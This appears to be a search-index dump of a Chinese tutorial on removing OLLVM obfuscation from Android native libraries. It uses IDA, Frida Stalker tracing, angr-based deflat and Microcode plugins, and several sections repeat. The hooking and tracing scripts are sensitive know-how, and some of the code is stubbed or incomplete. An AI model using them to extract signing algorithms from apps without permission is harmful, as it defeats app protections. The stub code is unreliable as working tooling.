为什么用动态追踪? 静态分析 47 个块可能需要数小时，而动态追踪 1 秒钟就能告诉你程序真正执行了哪 10 个块。 # 保存以下脚本为 trace_encrypt.js // trace_encrypt.js — 追踪 encrypt 函数的真实执行路径 (function() { var soName = \"libnative.so\"; var funcOffset = 0x12340; // 从 IDA 中获取的函数偏移 var mod = Process.findModuleByName(soName); if (!mod) { console.log(\"[-] 模块未加载，等待...\"); // 如果 SO 还没加载，等待加载 Module.load(soName); mod = Process.findModuleByName(soName); } var base = mod.base; var target = base.add(funcOffset); var uniqueBlocks = {}; var blockSequence = []; console.log(\"[*] SO base: \" + base); console.log(\"[*] Target: \" + target); console.log(\"[*] 开始追踪...\"); Interceptor.attach(target, { onEnter: function(args) { console.log(\"[+] encrypt 被调用!\"); console.log(\" 参数0 (数据指针): \" + args[0]); console.log(\" 参数1 (数据长度): \" + args[1]); // 保存输入数据以便后续对比 this.inputData = Memory.readByteArray(args[0], args[1].toInt32()); this.tid = Process.getCurrentThreadId(); Stalker.follow(this.tid, { transform: function(iterator) { var inst = iterator.next(); do { var addr = inst.address; var off = addr.sub(base).toInt32(); // 只记录目标函数范围内的指令 if (off \u003e= funcOffset \u0026\u0026 off \u003c funcOffset + 0x2000) { iterator.putCallout(function(ctx) { var pc = ctx.pc; var offset = pc.sub(base).toInt32(); var hexOff = \"0x\" + offset.toString(16); if (!uniqueBlocks[hexOff]) { uniqueBlocks[hexOff] = 0; } uniqueBlocks[hexOff]++; blockSequence.push(hexOff); }); } iterator.keep(); } while ((inst = iterator.next()) !== null); } }); }, onLeave: function(retval) { Stalker.unfollow(this.tid); Stalker.flush(); // 打印结果 console.log(\"\\n========== 追踪结果 ==========\"); console.log(\"[+] 返回值: \" + retval); console.log(\"[+] 唯一基本块数: \" + Object.keys(uniqueBlocks).length); console.log(\"[+] 总指令数: \" + blockSequence.length); console.log(\"\\n[+] 真实执行的基本块 (按执行顺序):\"); var seen = {}; blockSequence.forEach(function(off) { if (!seen[off]) { seen[off] = true; console.log(\" \" + off + \" (执行 \" + uniqueBlocks[off] + \" 次)\"); } }); // 输出为可直接粘贴到 IDAPython 的格式 console.log(\"\\n[+] IDAPython 标记代码:\"); console.log(\"REAL_BLOCKS = [\" + Object.keys(uniqueBlocks).join(\", \") + \"]\"); } }); })(); # 运行追踪 frida -U -f com.example.app -l trace_encrypt.js --no-pause # 预期输出: # [*] SO base: 0x70a0000000 # [*] Target: 0x70a0012340 # [+] encrypt 被调用! # 参数0 (数据指针): 0x7ff0001000 # 参数1 (数据长度): 0x10 # # ========== 追踪结果 ========== # [+] 返回值: 0x7ff0001000 # [+] 唯一基本块数: 10 # [+","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:11:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#step-4-逐块分析核心逻辑"},{"categories":null,"collections":null,"content":"反混淆 OLLVM 保护的加密函数 (完整流程) 💡 思路一句话: 先用 IDA 判断混淆类型 → 再用 Frida Stalker 动态追踪真实执行路径（跳过所有虚假分支）→ 然后在 IDA 中标记真实块提取核心逻辑 → 最后用 Unicorn 模拟验证并编写等价 Python 代码。 核心原则: 不要试图\"读懂\"混淆后的代码，而是让程序自己告诉你它真正执行了什么。 目标: libnative.so 中的 encrypt 函数，被 OLLVM -fla -bcf -sub 保护。 环境准备 # 工具清单 (确保已安装) # 1. IDA Pro 7.5+ (带 Hex-Rays ARM64 反编译器) # 2. Frida 16.x # 3. Python 3.8+ + frida-tools # 4. 一台 root 过的 Android 设备 (推荐 Android 10-13) # 检查 Frida 连接 adb devices # 确认设备连接 adb shell \"su -c 'frida-server -D'\" # 后台启动 frida-server frida-ps -U | head -20 # 验证 Frida 正常工作 # 从设备上拉取目标 SO adb shell \"pm path com.example.app\" adb pull /data/app/com.example.app-xxx/lib/arm64/libnative.so ./ Step 1: IDA 静态观察 — 判断混淆类型 操作步骤: 1. 打开 IDA Pro，将 libnative.so 拖入 2. 等待自动分析完成 (进度条走完) 3. 在 Functions 窗口搜索 \"encrypt\" 或 \"Java_com_example\" 找到目标函数 4. 双击进入，按 F5 查看反编译结果 5. 按空格键切换到图形视图 (Graph View) 你会看到什么 (判断依据): 观察到的现象 含义 混淆类型 巨大的 switch-case 循环，几十个 case 所有基本块被打散重组 控制流平坦化 (FLA) 图形视图中心有一个\"太阳\"节点，所有块指向它 这就是分发器 FLA 分发器 大量的 if 判断但跟踪发现从不走某个分支 恒真/恒假条件 虚假控制流 (BCF) a + b 写成 (a ^ b) + 2 * (a \u0026 b) 等价但复杂的表达式 指令替换 (SUB) # 在 IDA 中运行此脚本快速判断 (File → Script Command) import idaapi func = idaapi.get_func(idc.here()) blocks = list(idaapi.FlowChart(func)) print(f\"[*] 基本块数量: {len(blocks)}\") # 计算入度 in_degree = {} for b in blocks: for s in b.succs(): in_degree[s.start_ea] = in_degree.get(s.start_ea, 0) + 1 if in_degree: disp_ea = max(in_degree, key=in_degree.get) disp_indeg = in_degree[disp_ea] print(f\"[*] 入度最高的块: 0x{disp_ea:X} (入度={disp_indeg})\") if disp_indeg \u003e 5: print(\"[!] \u003e\u003e\u003e 高度疑似控制流平坦化 \u003c\u003c\u003c\") if len(blocks) \u003e 30: print(\"[!] \u003e\u003e\u003e 基本块过多，疑似叠加虚假控制流 \u003c\u003c\u003c\") 本例结果: 函数有 47 个基本块，中心节点入度 38 → 判定为 平坦化 + 虚假控制流 + 指令替换 三件套。 Step 2: Frida Stalker 动态追踪 — 获取真实执行路径 为什么用动态追踪? 静态分析 47 个块可能需要数小时，而动态追踪 1 秒钟就能告诉你程序真正执行了哪 10 个块。 # 保存以下脚本为 trace_encrypt.js // trace_encrypt.js — 追踪 encrypt 函数的真实执行路径 (function() { var soName = \"libnative.so\"; var funcOffset = 0x12340; // 从 IDA 中获取的函数偏移 var mod = Process.findModuleByName(soName); if (!mod) { console.log(\"[-] 模块未加载，等待...\"); // 如果 SO 还没加载，等待加载 Module.load(soName); mod = Process.findModuleByName(soName); } var base = mod.base; var target = base.add(funcOffset); var uniqueBlocks = {}; var blockSequence = []; console.log(\"[*] SO base: \" + base); console.log(\"[*] Target: \" + target); console.log(\"[*] 开始追踪...\"); Interceptor.attach(target, { onEnter: function(args) { console.log(\"[+] encrypt 被调用!\"); console.log(\" 参数0 (数据指针): \" + args[0]); console.log(\" 参数1 (数据长度): \" + args[1]); // 保存输入数据以便后续对比 this.inputData = Memory.readByteArray(args[0], args[1].toInt32()); this.tid = Process.getCurrentThreadId(); Stalker.follow(this.tid, { transform: function(iterator) { var inst = iterator.next(); do { var addr = inst.address; var off = addr.sub(base).toInt32(); // 只记录目标函数范围内的指令 if (off \u003e= funcOffset \u0026\u0026 off \u003c funcOffset + 0x2000) { iterator.putCallout(function(ctx) { var pc = ctx.pc; var offset = pc.sub(base).toInt32(); var hexOff = \"0x\" + offset.toString(16); if (!uniqueBlocks[hexOff]) { uniqueBlocks[hexOff] = 0; } uniqueBlocks[hexOff]++; blockSequence.push(hexOff); }); } iterator.keep(); } while ((inst = iterator.next()) !== null); } }); }, onLeave: function(retval) { Stalker.unfollow(this.tid); Stalker.flush(); // 打印结果 console.log(\"\\n========== 追踪结果 ==========\"); console.log(\"[+] 返回值: \" + retval); console.log(\"[+] 唯一基本块数: \" + Object.keys(uniqueBlocks).length); console.log(\"[+] 总指令数: \" + blockSequence.length); console.log(\"\\n[+] 真实执行的基本块 (按执行顺序):\"); var seen = {}; blockSequence.forEach(function(off) { if (!seen[off]) { seen[off] = true; console.log(\" \" + off + \" (执行 \" + uniqueBlocks[off] + \" 次)\"); } }); // 输出为可直接粘贴到 IDAPython 的格式 console.log(\"\\n[+] IDAPython 标记代码:\"); console.log(\"REAL_BLOCKS = [\" + Object.keys(uniqueBlocks).join(\", \") + \"]\"); } }); })(); # 运行追踪 frida -U -f com.example.app -l trace_encrypt.js --no-pause # 预期输出: # [*] SO base: 0x70a0000000 # [*] Target: 0x70a0012340 # [+] encrypt 被调用! # 参数0 (数据指针): 0x7ff0001000 # 参数1 (数据长度): 0x10 # # ========== 追踪结果 ========== # [+] 返回值: 0x7ff0001000 # [+] 唯一基本块数: 10 # [+","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:11:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#step-5-unicorn-模拟验证"},{"categories":null,"collections":null,"content":"反混淆 OLLVM 保护的加密函数 (完整流程) 💡 思路一句话: 先用 IDA 判断混淆类型 → 再用 Frida Stalker 动态追踪真实执行路径（跳过所有虚假分支）→ 然后在 IDA 中标记真实块提取核心逻辑 → 最后用 Unicorn 模拟验证并编写等价 Python 代码。 核心原则: 不要试图\"读懂\"混淆后的代码，而是让程序自己告诉你它真正执行了什么。 目标: libnative.so 中的 encrypt 函数，被 OLLVM -fla -bcf -sub 保护。 环境准备 # 工具清单 (确保已安装) # 1. IDA Pro 7.5+ (带 Hex-Rays ARM64 反编译器) # 2. Frida 16.x # 3. Python 3.8+ + frida-tools # 4. 一台 root 过的 Android 设备 (推荐 Android 10-13) # 检查 Frida 连接 adb devices # 确认设备连接 adb shell \"su -c 'frida-server -D'\" # 后台启动 frida-server frida-ps -U | head -20 # 验证 Frida 正常工作 # 从设备上拉取目标 SO adb shell \"pm path com.example.app\" adb pull /data/app/com.example.app-xxx/lib/arm64/libnative.so ./ Step 1: IDA 静态观察 — 判断混淆类型 操作步骤: 1. 打开 IDA Pro，将 libnative.so 拖入 2. 等待自动分析完成 (进度条走完) 3. 在 Functions 窗口搜索 \"encrypt\" 或 \"Java_com_example\" 找到目标函数 4. 双击进入，按 F5 查看反编译结果 5. 按空格键切换到图形视图 (Graph View) 你会看到什么 (判断依据): 观察到的现象 含义 混淆类型 巨大的 switch-case 循环，几十个 case 所有基本块被打散重组 控制流平坦化 (FLA) 图形视图中心有一个\"太阳\"节点，所有块指向它 这就是分发器 FLA 分发器 大量的 if 判断但跟踪发现从不走某个分支 恒真/恒假条件 虚假控制流 (BCF) a + b 写成 (a ^ b) + 2 * (a \u0026 b) 等价但复杂的表达式 指令替换 (SUB) # 在 IDA 中运行此脚本快速判断 (File → Script Command) import idaapi func = idaapi.get_func(idc.here()) blocks = list(idaapi.FlowChart(func)) print(f\"[*] 基本块数量: {len(blocks)}\") # 计算入度 in_degree = {} for b in blocks: for s in b.succs(): in_degree[s.start_ea] = in_degree.get(s.start_ea, 0) + 1 if in_degree: disp_ea = max(in_degree, key=in_degree.get) disp_indeg = in_degree[disp_ea] print(f\"[*] 入度最高的块: 0x{disp_ea:X} (入度={disp_indeg})\") if disp_indeg \u003e 5: print(\"[!] \u003e\u003e\u003e 高度疑似控制流平坦化 \u003c\u003c\u003c\") if len(blocks) \u003e 30: print(\"[!] \u003e\u003e\u003e 基本块过多，疑似叠加虚假控制流 \u003c\u003c\u003c\") 本例结果: 函数有 47 个基本块，中心节点入度 38 → 判定为 平坦化 + 虚假控制流 + 指令替换 三件套。 Step 2: Frida Stalker 动态追踪 — 获取真实执行路径 为什么用动态追踪? 静态分析 47 个块可能需要数小时，而动态追踪 1 秒钟就能告诉你程序真正执行了哪 10 个块。 # 保存以下脚本为 trace_encrypt.js // trace_encrypt.js — 追踪 encrypt 函数的真实执行路径 (function() { var soName = \"libnative.so\"; var funcOffset = 0x12340; // 从 IDA 中获取的函数偏移 var mod = Process.findModuleByName(soName); if (!mod) { console.log(\"[-] 模块未加载，等待...\"); // 如果 SO 还没加载，等待加载 Module.load(soName); mod = Process.findModuleByName(soName); } var base = mod.base; var target = base.add(funcOffset); var uniqueBlocks = {}; var blockSequence = []; console.log(\"[*] SO base: \" + base); console.log(\"[*] Target: \" + target); console.log(\"[*] 开始追踪...\"); Interceptor.attach(target, { onEnter: function(args) { console.log(\"[+] encrypt 被调用!\"); console.log(\" 参数0 (数据指针): \" + args[0]); console.log(\" 参数1 (数据长度): \" + args[1]); // 保存输入数据以便后续对比 this.inputData = Memory.readByteArray(args[0], args[1].toInt32()); this.tid = Process.getCurrentThreadId(); Stalker.follow(this.tid, { transform: function(iterator) { var inst = iterator.next(); do { var addr = inst.address; var off = addr.sub(base).toInt32(); // 只记录目标函数范围内的指令 if (off \u003e= funcOffset \u0026\u0026 off \u003c funcOffset + 0x2000) { iterator.putCallout(function(ctx) { var pc = ctx.pc; var offset = pc.sub(base).toInt32(); var hexOff = \"0x\" + offset.toString(16); if (!uniqueBlocks[hexOff]) { uniqueBlocks[hexOff] = 0; } uniqueBlocks[hexOff]++; blockSequence.push(hexOff); }); } iterator.keep(); } while ((inst = iterator.next()) !== null); } }); }, onLeave: function(retval) { Stalker.unfollow(this.tid); Stalker.flush(); // 打印结果 console.log(\"\\n========== 追踪结果 ==========\"); console.log(\"[+] 返回值: \" + retval); console.log(\"[+] 唯一基本块数: \" + Object.keys(uniqueBlocks).length); console.log(\"[+] 总指令数: \" + blockSequence.length); console.log(\"\\n[+] 真实执行的基本块 (按执行顺序):\"); var seen = {}; blockSequence.forEach(function(off) { if (!seen[off]) { seen[off] = true; console.log(\" \" + off + \" (执行 \" + uniqueBlocks[off] + \" 次)\"); } }); // 输出为可直接粘贴到 IDAPython 的格式 console.log(\"\\n[+] IDAPython 标记代码:\"); console.log(\"REAL_BLOCKS = [\" + Object.keys(uniqueBlocks).join(\", \") + \"]\"); } }); })(); # 运行追踪 frida -U -f com.example.app -l trace_encrypt.js --no-pause # 预期输出: # [*] SO base: 0x70a0000000 # [*] Target: 0x70a0012340 # [+] encrypt 被调用! # 参数0 (数据指针): 0x7ff0001000 # 参数1 (数据长度): 0x10 # # ========== 追踪结果 ========== # [+] 返回值: 0x7ff0001000 # [+] 唯一基本块数: 10 # [+","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:11:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#完整流程总结"},{"categories":null,"collections":null,"content":"deflat 自动化反平坦化工具 deflat 是目前最成熟的 OLLVM 控制流平坦化自动还原工具，基于 angr 符号执行引擎。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:12:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#deflat-自动化反平坦化工具"},{"categories":null,"collections":null,"content":"安装与配置 # 1. 安装 angr (建议使用虚拟环境) python3 -m venv deflat_env source deflat_env/bin/activate pip install angr # 2. 克隆 deflat git clone https://github.com/cq674350529/deflat.git cd deflat/flat_control_flow ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:12:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#安装与配置"},{"categories":null,"collections":null,"content":"基本用法 # 反平坦化指定函数 # -f: SO 文件路径 # --addr: 目标函数地址 (IDA 中看到的地址) python deflat.py -f libtarget.so --addr 0x12340 # 指定架构 (默认自动检测) python deflat.py -f libtarget.so --addr 0x12340 --arch aarch64 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:12:2","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#基本用法"},{"categories":null,"collections":null,"content":"工作原理 deflat 反平坦化流程: 1. 加载二进制 → angr.Project 2. 构建 CFG → 识别函数基本块 3. 识别分发器 → 入度最高的基本块 4. 识别序言块 → 函数入口到分发器之间的块 5. 识别真实块 → 非分发器、非序言的功能块 6. 符号执行每个真实块 → 确定后继状态值 7. 重建真实的控制流 → patch 二进制 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:12:3","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#工作原理"},{"categories":null,"collections":null,"content":"实战示例：反平坦化加密函数 # 手动使用 deflat 核心逻辑 (当自动模式失败时) import angr import struct def manual_deflat(so_path, func_addr, state_var_offset): \"\"\" 手动反平坦化 - 当自动检测失败时使用 Args: so_path: SO 文件路径 func_addr: 函数起始地址 state_var_offset: 状态变量在栈上的偏移 \"\"\" proj = angr.Project(so_path, auto_load_libs=False) cfg = proj.analyses.CFGFast(normalize=True) func = cfg.functions.get(func_addr) # 步骤 1: 识别分发器 blocks = list(func.blocks) in_degrees = {} for node in func.graph.nodes(): in_degrees[node] = func.graph.in_degree(node) dispatcher = max(in_degrees, key=in_degrees.get) print(f\"[+] 分发器: 0x{dispatcher.addr:x} (入度: {in_degrees[dispatcher]})\") # 步骤 2: 识别真实块 (后继包含分发器的块) real_blocks = [] for node in func.graph.nodes(): succs = list(func.graph.successors(node)) if dispatcher in succs and node != dispatcher: real_blocks.append(node) print(f\"[+] 真实块数量: {len(real_blocks)}\") # 步骤 3: 对每个真实块符号执行，确定后继 transitions = {} for block in real_blocks: state = proj.factory.blank_state(addr=block.addr) simgr = proj.factory.simulation_manager(state) # 执行到分发器 simgr.explore(find=dispatcher.addr) if simgr.found: found_state = simgr.found[0] # 读取状态变量的值 sp = found_state.regs.sp state_val = found_state.solver.eval( found_state.memory.load(sp + state_var_offset, 4, endness='Iend_LE') ) transitions[block.addr] = state_val print(f\" 0x{block.addr:x} → state=0x{state_val:x}\") # 步骤 4: 建立状态值到块地址的映射 state_to_block = {} for block in real_blocks: # 通过分发器的比较值确定映射 pass # 需要分析分发器的 CMP 指令 # 步骤 5: 重建控制流 print(\"\\n[+] 恢复的控制流:\") for src_addr, next_state in transitions.items(): if next_state in state_to_block: dst_addr = state_to_block[next_state] print(f\" 0x{src_addr:x} → 0x{dst_addr:x}\") return transitions ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:12:4","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#实战示例反平坦化加密函数"},{"categories":null,"collections":null,"content":"常见问题与解决 问题 原因 解决方案 Symbolic execution timeout 函数过大或路径爆炸 增加超时: state.options.add(angr.options.LAZY_SOLVES) Cannot identify dispatcher 非标准平坦化实现 手动指定分发器地址 Wrong number of real blocks 嵌套分发器 (Hikari) 分层处理，先反外层再反内层 Patch verification failed 跳转距离超过指令范围 使用 trampoline 跳板 ARM64 branch range exceeded B 指令范围 ±128MB 改用 ADRP+ADD+BR 间接跳转 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:12:5","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#常见问题与解决"},{"categories":null,"collections":null,"content":"IDA Microcode API 反混淆实战 IDA 7.1+ 引入了 Hex-Rays Microcode API，允许在反编译器的中间表示层面进行优化。这比在汇编层面操作更高效，因为 Microcode 已经进行了寄存器分配和基本优化。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:13:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#ida-microcode-api-反混淆实战"},{"categories":null,"collections":null,"content":"Microcode 层次结构 IDA Microcode 处理流水线: 汇编 → Microcode (初始) → 优化 Pass 1-7 → Microcode (优化后) → C 伪代码 ↑ 在这里插入自定义优化 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:13:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#microcode-层次结构"},{"categories":null,"collections":null,"content":"MBA 表达式简化插件 import ida_hexrays as hr import ida_idaapi class MBASimplifier(hr.optinsn_t): \"\"\"IDA Microcode 优化器: 简化 MBA 表达式\"\"\" def func(self, blk, ins, optflags): \"\"\" 在每个 microcode 指令上调用 返回非零值表示进行了修改 \"\"\" # 模式: (a \u0026 b) + (a | b) =\u003e a + b if ins.opcode == hr.m_add: if (ins.l.is_insn(hr.m_and) and ins.r.is_insn(hr.m_or)): and_ins = ins.l.d or_ins = ins.r.d # 检查操作数是否相同 if (and_ins.l.equal_mops(or_ins.l, hr.EQ_IGNSIZE) and and_ins.r.equal_mops(or_ins.r, hr.EQ_IGNSIZE)): # 简化为 a + b ins.l.swap(and_ins.l) ins.r.swap(and_ins.r) return 1 # 已修改 # 模式: (a ^ b) + 2*(a \u0026 b) =\u003e a + b if ins.opcode == hr.m_add: if ins.l.is_insn(hr.m_xor) and ins.r.is_insn(hr.m_mul): xor_ins = ins.l.d mul_ins = ins.r.d # 检查乘数是否为 2 if (mul_ins.l.is_insn(hr.m_and) and mul_ins.r.is_number() and mul_ins.r.value(False) == 2): and_ins = mul_ins.l.d if (xor_ins.l.equal_mops(and_ins.l, hr.EQ_IGNSIZE) and xor_ins.r.equal_mops(and_ins.r, hr.EQ_IGNSIZE)): ins.l.swap(xor_ins.l) ins.r.swap(xor_ins.r) return 1 return 0 # 未修改 # 安装优化器 optimizer = MBASimplifier() optimizer.install() print(\"[+] MBA Simplifier installed\") ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:13:2","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#mba-表达式简化插件"},{"categories":null,"collections":null,"content":"不透明谓词消除插件 class OpaquePredicateRemover(hr.optinsn_t): \"\"\"消除 OLLVM 不透明谓词\"\"\" # 已知的恒真/恒假模式 ALWAYS_TRUE = [ # (x * (x+1)) % 2 == 0 # (x | 1) != 0 ] def func(self, blk, ins, optflags): # 检测 if (x*x % 2 == 1) 模式 (恒假) if ins.opcode == hr.m_jcnd: cond = ins.l if self.is_always_false(cond): # 将条件跳转改为 NOP ins.opcode = hr.m_nop return 1 elif self.is_always_true(cond): # 将条件跳转改为无条件跳转 ins.opcode = hr.m_goto return 1 return 0 def is_always_false(self, mop): \"\"\"检测恒假条件\"\"\" # 实现具体的模式匹配逻辑 return False def is_always_true(self, mop): \"\"\"检测恒真条件\"\"\" return False ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:13:3","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#不透明谓词消除插件"},{"categories":null,"collections":null,"content":"d810 插件使用指南 d810 是基于 IDA Microcode API 的成熟反混淆框架： # 安装 d810 git clone https://github.com/joydo/d810.git # 将 d810 目录复制到 IDA plugins 目录 # Windows: %APPDATA%/Hex-Rays/IDA Pro/plugins/ # macOS: ~/Library/Application Support/Hex-Rays/IDA Pro/plugins/ # Linux: ~/.idapro/plugins/ 使用步骤: IDA 中打开目标 SO → Edit → Plugins → D-810 选择目标函数 → 右键 → “Deobfuscate with d810” 选择规则集: default: 通用 MBA 简化 + 不透明谓词消除 ollvm: 针对 OLLVM 优化的规则集 custom: 自定义规则 # d810 自定义规则示例 # 文件: d810/rules/custom_ollvm.py from d810.optimizers.instructions import GenericPatternRule class SimplifyANDOR(GenericPatternRule): \"\"\" Rule: (x \u0026 y) + (x | y) =\u003e x + y Targets MBA obfuscation in Hikari/Armariris \"\"\" PATTERN = \"m_add(m_and(x, y), m_or(x, y))\" REPLACEMENT = \"m_add(x, y)\" DESCRIPTION = \"Simplify MBA: (x\u0026y)+(x|y) -\u003e x+y\" ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:13:4","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#d810-插件使用指南"},{"categories":null,"collections":null,"content":"Frida 动态追踪进阶：算法还原完整流程 💡 思路一句话: 不要试图硬读 OLLVM 代码 — 让 Frida Stalker 追踪真实执行路径，用多组不同输入对比找出数据依赖的关键指令，最后根据这些关键指令逆推算法逻辑。 当面对重度 OLLVM 混淆时，动态追踪是最高效的方法。以下是从追踪到算法还原的完整工作流。 环境准备清单: # 必需工具 pip install frida-tools # Frida Python 绑定 adb shell \"su -c 'frida-server -D'\" # 确保 frida-server 运行 # 验证连接 frida-ps -U | grep -i target_app # 确认目标进程存在 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:14:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#frida-动态追踪进阶算法还原完整流程"},{"categories":null,"collections":null,"content":"步骤 1: 确定目标函数 // 通过 JNI 函数注册表找到 native 函数地址 Java.perform(function() { var targetClass = Java.use(\"com.example.app.SignHelper\"); // Hook Java 层调用，获取参数和返回值 targetClass.getSign.implementation = function(data) { console.log(\"[+] Input: \" + data); var result = this.getSign(data); console.log(\"[+] Output: \" + result); // 获取 native 函数地址 var symbols = Module.enumerateExportsSync(\"libnative.so\"); symbols.forEach(function(sym) { if (sym.name.indexOf(\"getSign\") !== -1 || sym.name.indexOf(\"Java_com_example\") !== -1) { console.log(\"[+] Native func: \" + sym.name + \" @ \" + sym.address); } }); return result; }; }); ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:14:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#步骤-1-确定目标函数"},{"categories":null,"collections":null,"content":"步骤 2: Stalker 指令级追踪 function traceNativeAlgorithm(soName, funcOffset) { var mod = Process.findModuleByName(soName); var funcAddr = mod.base.add(funcOffset); var trace = []; var regSnapshots = []; Interceptor.attach(funcAddr, { onEnter: function(args) { console.log(\"[+] Args: X0=\" + args[0] + \" X1=\" + args[1] + \" X2=\" + args[2]); this.tid = Process.getCurrentThreadId(); Stalker.follow(this.tid, { transform: function(iterator) { var inst; while ((inst = iterator.next()) !== null) { var addr = inst.address; var offset = addr.sub(mod.base).toInt32(); // 只追踪目标函数范围内的指令 if (offset \u003e= funcOffset \u0026\u0026 offset \u003c funcOffset + 0x5000) { // 在关键算术指令处记录寄存器状态 if (['add', 'sub', 'mul', 'eor', 'and', 'orr', 'lsl', 'lsr', 'ror'].indexOf(inst.mnemonic) !== -1) { iterator.putCallout(function(ctx) { trace.push({ offset: ctx.pc.sub(mod.base).toInt32(), mnemonic: Instruction.parse(ctx.pc).mnemonic, opStr: Instruction.parse(ctx.pc).opStr, x0: ctx.x0.toInt32(), x1: ctx.x1.toInt32(), x8: ctx.x8.toInt32(), }); }); } } iterator.keep(); } } }); }, onLeave: function(retval) { Stalker.unfollow(this.tid); Stalker.flush(); console.log(\"[+] Trace length: \" + trace.length); // 输出算术操作序列 trace.forEach(function(t) { console.log(\" 0x\" + t.offset.toString(16) + \": \" + t.mnemonic + \" \" + t.opStr + \" // X0=\" + t.x0 + \" X1=\" + t.x1); }); send({type: \"trace\", data: trace}); } }); } ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:14:2","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#步骤-2-stalker-指令级追踪"},{"categories":null,"collections":null,"content":"步骤 3: 多输入对比分析 # Python 端收集多组追踪数据，对比分析 import frida import json class AlgorithmRecovery: def __init__(self, so_name, func_offset): self.so_name = so_name self.func_offset = func_offset self.traces = [] def collect_traces(self, device, package, inputs): \"\"\"收集多组输入对应的执行追踪\"\"\" session = device.attach(package) # ... 注入脚本，收集trace def 